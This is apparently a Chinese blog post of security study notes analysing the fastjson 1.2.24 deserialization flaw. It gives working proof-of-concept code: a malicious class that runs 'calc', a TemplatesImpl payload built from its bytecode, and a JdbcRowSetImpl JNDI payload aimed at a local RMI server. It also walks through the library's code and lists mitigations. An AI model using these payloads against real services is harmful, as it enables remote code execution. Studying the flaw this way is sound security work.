java安全学习笔记--fastjson1.2.24反序列化漏洞两种利用链分析(TemplatesImpl,JdbcRowSetImpl)

测试环境

fastjson 1.2.24

Fastjson简介及用法

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,也可以将 JSON 字符串转换为 Java 对象,常用在前后端分离的项目中,用来处理前端传来的json数据,JSON字符串和Java对象的转换就是基于序列化和反序列化来实现的。

演示代码:


import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;

class Person{
    int age;
    String name;
    public Person(){
        System.out.println("Person无参构造");
    }
    public Person (int age,String name){
        this.age=age;
        this.name=name;
    }
    public int getAge() {
        System.out.println("getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("setName");
        this.age = age;
    }

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

}
public class fastjson1Poc {


    public static void main(String[] args) {
        Person person=new Person(18,"Bob");
        String jsonString= JSON.toJSONString(person);
        String jsonString2= JSON.toJSONString(person, SerializerFeature.WriteClassName);
        System.out.println("常用json字符串格式");
        System.out.println(jsonString);
        System.out.println(JSON.parseObject(jsonString,Person.class));
        System.out.println("带@type属性的json字符串格式");
        System.out.println(jsonString2);
        JSON.parseObject(jsonString2);


    }
}

输出:

常用json字符串格式
{"age":18,"name":"Bob"}
Person无参构造
setName
setName
com.test.Person@6d21714c
带@type属性的json字符串格式
{"@type":"com.test.Person","age":18,"name":"Bob"}
Person无参构造
setName
setName
getAge
getName

带有@type属性的字符串在被转换为对象时,会根据value值找到对应的对象,会进行一个实例化的操作以及调用属性的set和get方法,POC就是围绕这个点来构造的,有两种POC一种是利用TemplateImp对_bytescode赋值并调用实例化代码触发构造函数或静态代码块中的恶意代码,另外一种是利用JdbcRowSetImpl远程加载恶意类。

恶意类

package com.test;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;


public class evilClass extends AbstractTranslet{
    //需要继承AbstractTranslet,因为在defineTransletClasses中会判断是否继承了这个类没有会报错
    public evilClass() {
        super();
        try {
            Runtime.getRuntime().exec("calc");
        }catch (Exception e){
            e.printStackTrace();
        }
    }
    //两种触发方式构造方法和静态代码块
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }}


    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }


}

TemplateImp利用链POC  :

        import com.alibaba.fastjson.JSON;
        import com.alibaba.fastjson.parser.Feature;
        import javassist.ClassPool;
        import javassist.CtClass;

        import javax.xml.bind.DatatypeConverter;


public class fastjson1Poc {


    public static void main(String[] args) throws Exception{
        ClassPool classPool=ClassPool.getDefault();
        CtClass ctClass=classPool.getCtClass("com.test.evilClass");
            byte[] bytes=ctClass.toBytecode();

        String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"" +
                ",\"_bytecodes\":[\""+DatatypeConverter.printBase64Binary(bytes)+"\"],"
                + "'_name':\"TempletaPoc\"," + "'_tfactory':{}," + "\"outputProperties\":{}}";
        System.out.println(payload);
        Object object = JSON.parseObject(payload, Feature.SupportNonPublicField);
    }
}

在网上看到的POC中有一些是把一个base64字符串直接就赋值给了_bytecodes,像下面这个

 String byteCode = "yv66vgAAADEAMgoACAAiCgAjACQIACUKACMAJgcAJwoABQAoBwApBwA..."

这个字符串是对恶意类转换成的byte数组进行base64加密得来的。

POC中可以看到@type,_bytecodes,_name,_tfactory,_outputProperties这4个key,这条利用链是通过对TemplatesImpl的_bytecodes赋值,再把_bytecodes字节码还原为类,并实例化,这两个操作主要是通过getOutputProperties方法触发的,可以看到触发了newTransformer方法,也就是cc2利用的方法,newTransformer方法中会同时进行还原为类和实例化的操作。

  public synchronized Properties getOutputProperties() {
        try {
            return newTransformer().getOutputProperties();
        }
        catch (TransformerConfigurationException e) {
            return null;
        }
    }

_name,_tfactory这两个属性不为空就行,运行过程中不报错.

关键在于outputProperties,这个key也可以写成_outputProperties或-outputProperties都可以,因为fastjson在反序列化的时候会对key值进行处理,检测第一个字符是否为-或_,并替换为空,再通过outputProperties去触发这个属性的get和set方法,这时就会触发getOutputProperties方法实例化恶意类并触发恶意代码。

利用限制

这个利用链有一个限制,就是后台获取解析json数据要在方法中加Feature.SupportNonPublicField属性,像下面这样,因为outputProperties是private属性。

JSON.parse(payload, Feature.SupportNonPublicField);

JSON.parseObject(payload, Feature.SupportNonPublicField);

JdbcRowSetImpl利用链POC  :

RMI利用的JDK版本≤ JDK 6u132、7u122、8u113

LADP利用JDK版本≤ 6u211 、7u201、8u191

rmi版:

import com.alibaba.fastjson.JSON;

public class fastJsonPOC2 {
    public static void main(String[] args) {

            String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/class\", \"autoCommit\":true}";
            JSON.parse(payload);

    }
}

rmi服务端和注册中心直接写一起了,没写一起可以用getRegistrt()方法获取注册中心再绑定类,这个方法也可以用来攻击注册中心。

根据FasJson的解析过程,dataSourceName这里会进入到else代码块中调用父类setDataSourceName(var1),

public void setDataSourceName(String var1) throws SQLException {
        if (this.getDataSourceName() != null) {
            if (!this.getDataSourceName().equals(var1)) {
                String var2 = this.getDataSourceName();
                super.setDataSourceName(var1);
                this.conn = null;
                this.ps = null;
                this.rs = null;
                this.propertyChangeSupport.firePropertyChange("dataSourceName", var2, var1);
            }
        } else {
            super.setDataSourceName(var1);
            this.propertyChangeSupport.firePropertyChange("dataSourceName", (Object)null, var1);
        }

    }

autoCommit会调用到setAutoCommit

 public void setAutoCommit(boolean var1) throws SQLException {
        if (this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        }

    }

 这里会调用到this.connect(),可以看到代码new InitialContext生成jndi上下文环境,然后调用lookup()请求this.getDataSourceName()

protected Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
        }
    }

为什么JdbcRowSetImpl中的lookup可以请求rmi协议的路径?

因为JDBC本身也是属于JNDI中的命名目录服务。

限制条件:

这条利用链的限制不大,对于后端解析JSON字符的语句也没什么限制,只有不出网时会失效。

TemplateImp利用链POC  : 

总结

分析了两条利用链简单总结下,其实有第三条。

  • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

利用用链是通过Java字节码类发漏洞,但是需要后端代码解析JSON字符串时传入Feature.SupportNonPublicField 参数,这个就碰运气了。

  • com.sun.rowset.JdbcRowSetImpl

利用链用到的是JNDI注入,利用限制不多,但是需要连接远程恶意服务器,在目标没外网的情况下无法直接利用。

  • org.apache.tomcat.dbcp.dbcp2.BasicDataSource

第三个利用链是一个比较老的利用链了,也是一个字节码的利用,这里涉及到的是BCEL字节码操作库,无需目标额外开启选项,也不用连接外部服务器,但是对fastjson版本有要求小于等于1.2.24,在1.2.25之后Fastjson默认关闭了autoType功能并且增加了autoType功能开启时的类黑白名单,有一些绕过方式都是假设后台代码开启了autoType功能去绕过,再往后出现了一种不需要autoType功能开启的利用方式,关于绕过方式后面再写。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Fastjson是一款Java语言编写的高性能JSON处理器,被广泛应用于各种Java应用程序中。然而,Fastjson存在反序列化漏洞,黑客可以利用漏洞实现远程代码执行,因此该漏洞被广泛利用。 检测Fastjson反序列化漏洞的方法: 1. 扫描源代码,搜索是否存在Fastjson相关的反序列化代码,如果存在,则需要仔细检查反序列化的过程是否安全。 2. 使用工具进行扫描:目前市面上有很多漏洞扫描工具已经支持Fastjson反序列化漏洞的检测,例如:AWVS、Nessus、Burp Suite等。 利用Fastjson反序列化漏洞的方法: 1. 利用Fastjson反序列化漏洞执行远程命令:黑客可以构造一个恶意JSON字符串,通过Fastjson反序列化漏洞实现远程命令执行。 2. 利用Fastjson反序列化漏洞实现文件读取:黑客可以构造一个恶意JSON字符串,通过Fastjson反序列化漏洞实现文件读取操作。 3. 利用Fastjson反序列化漏洞实现反弹Shell:黑客可以构造一个恶意JSON字符串,通过Fastjson反序列化漏洞实现反弹Shell操作。 防范Fastjson反序列化漏洞的方法: 1. 更新Fastjson版本:Fastjson官方在1.2.46版本中修复了反序列化漏洞,建议使用该版本或更高版本。 2. 禁止使用Fastjson反序列化:如果应用程序中不需要使用Fastjson反序列化功能,建议禁止使用该功能,可以使用其他JSON处理器。 3. 输入验证:对所有输入进行校验和过滤,确保输入数据符合预期,避免恶意数据进入系统。 4. 序列化过滤:对敏感数据进行序列化过滤,确保敏感数据不会被序列化。 5. 安全加固:对系统进行安全加固,如限制系统权限、加强访问控制等,避免黑客利用Fastjson反序列化漏洞获取系统权限。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值